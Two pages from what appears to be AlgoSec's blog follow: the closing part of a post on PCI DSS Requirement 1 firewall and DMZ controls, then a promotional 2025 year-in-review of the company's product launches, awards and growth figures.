(1.3.7): Attackers are looking for your card holder database. Therefore, it shouldn’t be stored within the DMZ. The DMZ should be considered an untrusted network and segregated from the rest of the network. By having the database on the internal network provides another layer of protection against unwanted access. [Also see my suggestions for designing and securing you DMZ in my previous blog series: The Ideal Network Security Perimeter Design: Examining the DMZ Do not disclose private IP addresses and routing information to unauthorized parties (1.3.8): There should be methods in place to prevent your internal IP address scheme from being leaked outside your company. Attackers are looking for any information on how to breach your network, and giving them your internal address scheme is just one less thing they need to learn. You can stop this by using NAT, proxy servers, etc. to limit what can be seen from the outside. Install personal firewall software on any mobile and/or employee-owned devices that connect to the Internet when outside the network (for example, laptops used by employees), and which are also used to access the network (1.4): Mobile devices, such as laptops, that can connect to both the internal network and externally, should have a personal firewall configured with rules that prevent malicious software or attackers from communicating with the device. These firewalls need to be configured so that their rulebase can never be stopped or changed by anyone other than an administrator. Ensure that security policies and operational procedures for managing firewalls are documented, in use, and known to all affected parties (1.5): There needs to be a unified policy regarding firewall maintenance including how maintenance procedures are performed, who has access to the firewall and when maintenance is scheduled. Well, that’s it! Hopefully, my posts have given you a better insight into what is actually required in Requirement 1 and what you need to do to comply with it. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

A quarter-by-quarter review of AlgoSec’s 2025 covering key product launches like Horizon, our latest research on zero trust and convergence, customer milestones, and the industry recognition that defined our year. AlgoSec Reviews 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? Adel Osta Dadan 2 min read Adel Osta Dadan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/18/25 Published As we close out 2025, I find myself reflecting on what has been an extraordinary journey for AlgoSec. This year was marked by breakthrough innovations, significant industry recognition, and an unwavering commitment to our vision of secure application connectivity. From launching game-changing solutions to earning accolades on the global stage, 2025 challenged us to push boundaries – and we rose to the occasion with confidence and purpose. Every challenge met, every milestone achieved, has reinforced our resolve to lead in network security policy management across hybrid cloud environments. The story of AlgoSec in 2025 is one of innovation validated by the industry and, most importantly, by the trust of our customers. In this featured year-end review, I’ll walk through AlgoSec’s 2025 journey quarter by quarter. It’s a personal narrative from my vantage point as someone fortunate enough to help shape our story. The tone is proud and forward-looking because the accomplishments of this year have set the stage for an even more ambitious 2026. So let’s dive in, quarter by quarter, into how 2025 unfolded for AlgoSec – a year of solidifying leadership, fostering innovation, and securing connectivity for enterprises worldwide. Q1 – Launching a new horizon in hybrid cloud security The first quarter of 2025 was all about bold beginnings. We started the year by challenging the status quo in hybrid network security and laying the groundwork for everything to follow. Launch of the AlgoSec Horizon platform: In February, we unveiled AlgoSec Horizon , our most advanced application-centric security management platform for converging cloud and on-premise environments. This wasn’t just a product launch – it was a statement of direction. AlgoSec Horizon is the industry’s first platform to unify security policy automation across hybrid networks, giving teams a single pane of glass for both cloud and data center connectivity. By applying AI-driven visibility and risk mitigation, Horizon allows security teams to consistently manage application connectivity and policies across any environment. “Today’s networks are 100x more complex... requiring organizations to unify security operations, automate policies and enhance visibility across infrastructures,” as our VP of Product Eran Shiff noted at launch. With Horizon, our customers gained full visibility into their hybrid-cloud network and the power to remediate risks without slowing down the business. We even showcased Horizon live at Cisco Live 2025 in Amsterdam, letting attendees see firsthand how it simplifies hybrid cloud security. This Q1 milestone set the tone for the year – proving that we don’t just adapt to industry shifts, we lead them. Continuing analyst recognition and thought leadership: Building on momentum from the previous year, we carried forward strong validation from industry analysts. AlgoSec entered 2025 still highlighted as a Market Outperformer in GigaOm’s recent Radar Report for Cloud Network Security. In that report, analyst Andrew Green praised our core strength: “AlgoSec automates application connectivity and security policy across the hybrid network estate including public cloud, private cloud, containers, and on-premises networks.” Such independent insight validated our unique, application-centric approach. Internally, these early recognitions energized our teams. We doubled down on R&D and prepared to share our expertise more broadly – including wrapping up work on our annual research report. Q1’s focus on innovation and expert validation paved the way for the accomplishments that followed in subsequent quarters. Q2 – Thought leadership and industry accolades on the global stage If Q1 was about innovation, Q2 was about validation. In the second quarter, AlgoSec stepped onto the global stage at RSAC 2025 and emerged with both influential research and prestigious awards. It was a period where our thought leadership in secure connectivity met with resounding industry recognition. State of network security report 2025: In April, we released our annual State of Network Security Report , a comprehensive vendor-agnostic study of emerging trends and challenges in network security. This report quickly became a cornerstone of our thought leadership. It revealed how businesses are prioritizing multi-cloud strategies and zero-trust architecture in unprecedented ways. For instance, zero-trust adoption reached an all-time high – 56% of organizations reported they had fully or partially implemented zero-trust by 2025. We also highlighted that multi-cloud environments are now the norm, with Azure rising to become the most widely used cloud platform among respondents. Perhaps most telling was the finding that automating application connectivity ranked as the top priority for minimizing risk and downtime [9] . These insights underscored a message we’ve championed for years – that security can and should be an enabler of business agility. By shining a light on gaps in visibility and the need for policy automation, our Q2 research reinforced AlgoSec’s role as a thought leader in secure application connectivity. The report’s influence was evident in conversations at industry events and in how customers approached their network security strategy. Awards at RSAC 2025 – best security company and more: The highlight of Q2 came during the RSA Conference in late April, when AlgoSec earned two major industry accolades in one week. SC Media honored AlgoSec with the 2025 SC Award for Best Security Company, a recognition of our impact and innovation in cybersecurity. At the same time, Cyber Defense Magazine announced us as a winner of a 2025 Global InfoSec Award for Best Service – Cybersecurity Company [11] . Securing these prestigious awards simultaneously was a proud and humbling moment. It marked a significant milestone for our team as we continue to gain momentum across the global enterprise market. These accomplishments also validated our mission to deliver secure, seamless application connectivity across hybrid environments. “We’re honored to be recognized for empowering our customers to move faster and stay secure,” an AlgoSec spokesperson said, when discussing what the SC Award means to us. Indeed, being named Best Security Company came on the heels of some impressive company growth metrics – over 2,200 organizations now trust AlgoSec for their security policy management needs, and we saw 14% customer growth over the past year. The SC Award judges also noted that we command roughly 32% of the security policy management market share , highlighting AlgoSec’s leadership in this space. For me personally, seeing our work celebrated at RSAC 2025 was exhilarating. It wasn’t just about trophies; it was about validation from the community that the path we chose – focusing on application-centric, hybrid-cloud security – is the right one. Q2 ended with our trophy cabinet a bit fuller and our resolve stronger than ever to keep raising the bar. Q3 – Accelerating growth and fostering community The third quarter saw our innovations bear fruit in the market and our community initiatives take center stage. Coming out of the big wins of Q2, we maintained that momentum through the summer by executing on our strategies and engaging deeply with customers and partners. Q3 was about scaling up – both in terms of business impact and thought leadership outreach. Surging adoption and business growth: By mid-year, the impact of our new platform and solutions was clear in the numbers . In fact, we recorded a 36% year-over-year increase in new annual recurring revenue (ARR) in the first half of 2025 , driven largely by strong adoption of the AlgoSec Horizon platform. Our existing customers stayed with us as well – we maintained a gross dollar retention rate above 90%, a metric that speaks to the tangible value organizations are getting from our products. One anecdote that sticks with me is a story from a major U.S. financial institution: after deploying Horizon, they discovered 1,800 previously unknown applications and their connectivity requirements within the first two weeks . That kind of visibility – uncovering what was once shadow IT – is a game-changer for risk reduction. It proved that our focus on hybrid cloud security and intelligent automation is solving real problems. Equally rewarding was the feedback from customers. By Q3, AlgoSec was sustaining an average rating of 4.5 stars on Gartner Peer Insights , with users praising our platform’s depth and ease of use. We’ve also consistently ranked at the top of our category on peer review sites like G2 and PeerSpot, reflecting the positive outcomes our users are achieving . This convergence of market growth and customer satisfaction in Q3 affirmed that our application-centric approach is resonating strongly. Extending thought leadership through strategic research: Our growth in Q3 wasn’t just reflected in numbers—it also showed in how we’re shaping the security conversation. One standout was the publication of the Security Convergence eBook , developed in partnership with ESG. This research-backed guide addressed the operational and strategic challenges of aligning application, network, and cloud security. It offered actionable insights for enterprises navigating the intersection of security domains, a challenge we consistently hear about from our customers. The eBook resonated with CISOs and security leaders tasked with unifying fragmented processes under growing compliance and performance pressures. It reaffirmed AlgoSec’s unique position—not just as a solution provider, but as a partner helping drive clarity and convergence in the face of growing complexity. Community engagement and knowledge sharing : Even as we grew, we never lost sight of the importance of community and education. In September, we launched the AlgoSec Horizon Tour , a roadshow of interactive sessions across EMEA and the U.S. aimed at sharing best practices in secure application connectivity. These workshops gave enterprise security teams a hands-on look at Horizon’s capabilities and provided a forum for us to hear feedback directly from users. The tour culminated in our annual AlgoSummit 2025 – a virtual conference we hosted on September 30th that brought together customers, partners, and industry experts. If I had to choose a proud moment from Q3, AlgoSummit 2025 would be high on the list. We facilitated deep-dive discussions on zero trust architecture , cloud security, and the future of network policy automation. It was inspiring to see our community openly exchange ideas and solutions. This summit wasn’t just a company event; it felt like an industry think-tank. It reinforced AlgoSec’s role as a trusted advisor in the field of network security, not just a product vendor. By the end of Q3, we had strengthened the bonds with our user community and showcased that as networks evolve, we’re evolving right alongside our customers – providing guidance, platform innovations, and an open ear to their needs. Recognition of customer success: On a more personal note, Q3 also brought moments that reminded us why we do what we do. I recall one customer review that particularly struck me, where a network security manager described how AlgoSec became indispensable as their organization embraced zero trust. “As we aspire to achieve zero-trust… we need tools like AlgoSec to assist us in the journey because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface,” he noted. Hearing directly from customers about how we’re helping them reduce risk and implement zero trust principles is incredibly motivating. It underscores that behind the growth statistics are real organizations becoming safer and more agile, powered by our solutions. This customer-centric ethos carried us through Q3 and into the final stretch of the year. Q4 – Culminating achievements and setting the stage for what’s next As the year drew to a close, AlgoSec showed no signs of slowing down. In fact, Q4 was about finishing strong and preparing for the future. We used the final quarter to expand our solution capabilities, help customers navigate new security paradigms, and celebrate the capstone of several achievements. It’s been a period of tying up 2025’s narrative threads and pointing our compass toward 2026. Expanding zero-trust and cloud security initiatives: In Q4, we doubled down on helping customers realize Zero Trust Architecture across their increasingly complex environments. Building on the micro-segmentation and application dependency mapping capabilities of our platform, we introduced new workflows to streamline zero-trust policy adoption. Our approach has been to make zero trust practical – ensuring that as enterprises segment their networks, they maintain clear visibility into application flows and can automate rule changes without fear of breaking things. We also expanded integrations with cloud platforms, recognizing that hybrid cloud deployments require consistent enforcement of zero-trust principles. The goal is simple: only allow what’s necessary. As one of our customers at NCR put it, “we need tools like AlgoSec… because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface.” That insight from the field echoes in our Q4 product enhancements – we focused on features that help identify and tighten overly permissive access, be it on-prem or in the cloud. Additionally, we kept an eye on emerging regulations and frameworks. With new security compliance requirements on the horizon, we ensured our solutions can automate audits and segmentation policies to keep our customers one step ahead. In short, Q4 was about reinforcing our commitment to hybrid cloud security and zero trust, so that our users can enter 2026 with confidence in their security posture. Even as 2025 ends, the wave of recognition we’ve ridden continues into Q4. I’m thrilled to share that in November, AlgoSec was named a “Trailblazing” company in Network Security and Management as part of the 2025 Top InfoSec Innovator Awards . This honor, bestowed by Cyber Defense Magazine’s panel of judges, places us among a select group of cybersecurity companies driving innovation and shaping the future of the industry. It’s a testament to our team’s hard work and our forward-thinking roadmap. Looking ahead to 2026 Reflecting on 2025, it’s clear that this year has been t ransformationa l for AlgoSec. We innovated boldly, earned trust widely, and solidified our position as the go-to partner for enterprises seeking secure, agile connectivity. The awards and recognitions were wonderful highlights – they energize us – but what truly drives our pride is knowing we helped organizations around the world accelerate their business securely . The foundations we laid this year in areas like zero trust architecture, hybrid cloud security, and intelligent policy automation have set us up for an even more impactful 2026. As we turn toward 2026, our vision is sharper than ever. We will continue to advance our platform – expect even more AI-driven insights, broader cloud integrations, and features that make managing network security policies in complex environments simpler than ever. We’ll also keep championing thought leadership through research and community engagement, because educating the market is part of our DNA. The threat landscape will undoubtedly evolve in 2026, but we plan to stay ahead of the curve , helping our customers navigate whatever comes next with confidence and clarity. On a personal note, I am incredibly grateful for the dedication of our team and the unwavering support of our AlgoSec community. It’s your feedback and your challenges that inspire our innovations. This year we’ve seen what we can achieve together – from launching Horizon to embracing zero trust, from winning awards to solving tough problems on the ground. 2025 has been a chapter of leadership and growth in AlgoSec’s story. Now we set our sights on writing the next chapter. With the momentum at our backs and our mission guiding us, we step into 2026 ready to continue redefining what’s possible in secure application connectivity. Here’s to another year of innovation, collaboration, and success on the horizon! Thank you for being part of our 2025 journey. We’re excited for what’s to come – and we’ll be sure to keep you posted every step of the way. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call